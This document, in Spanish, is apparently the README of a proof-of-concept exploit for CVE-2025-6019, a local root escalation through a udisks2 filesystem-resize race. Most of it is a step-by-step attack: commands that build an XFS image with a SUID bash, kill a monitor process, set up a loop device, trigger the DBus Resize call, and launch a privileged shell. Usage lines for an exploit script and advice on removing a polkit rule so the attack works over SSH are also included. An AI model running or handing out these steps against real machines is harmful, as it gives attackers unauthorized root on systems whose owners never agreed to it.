CVE-2025-6019: Exploit de Escalada de Privilegios mediante Redimensionamiento del Sistema de Archivos UDisks2

Detalles de la Vulnerabilidad

• ID de CVE: CVE-2025-6019
• Impacto: Escalada Local de Privilegios (LPE)
• Sistemas Afectados: Sistemas Linux con versiones vulnerables de udisks2
• Mecanismo: Una condición de carrera durante el redimensionamiento del sistema de archivos permite el acceso a binarios SUID en directorios temporales escribibles por cualquier usuario.
• Componentes Clave:
  • Servicio udisks2 (interfaz DBus)
  • Método org.freedesktop.UDisks2.Filesystem.Resize
  • Puntos de montaje temporales bajo /tmp/blockdev*

Flujo del Exploit

1. Preparar Imagen Maliciosa del Sistema de Archivos (Atacante)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Establecer bit SUID
umount ./xfs.mount 

2. Desencadenar el Exploit (Máquina Víctima)

# Verificar capacidades del sistema
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Limpiar interferencias
killall -KILL gvfs-udisks2-volume-monitor

# Configurar dispositivo loop
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Vigilante en segundo plano (se ejecuta cuando aparece el binario SUID)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Desencadenar la vulnerabilidad a través de DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Obtener Acceso Root

/tmp/blockdev*/bash -p  # Lanzar shell privilegiada
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

¡Importante!

¡El exploit solo funciona en una sesión logind!

• El script debe ejecutarse desde una sesión logind que tenga Active=yes y Remote=no (por ejemplo, tty1).
• Cuando se inicia desde una sesión SSH / pts/* / reverse-shell, la llamada a udisksctl loop-setup --no-user-interaction es denegada por polkit, por lo que la PoC finaliza con
  “Failed to create loop device”.

Nota:

• Si desea usar el exploit a través de SSH, debe eliminar temporalmente la regla de polkit

Cómo usar el exploit

Crear imagen SUID

$ sudo bash exploit.sh create 

Explotar el sistema

$ bash exploit.sh exploit 

Video PoC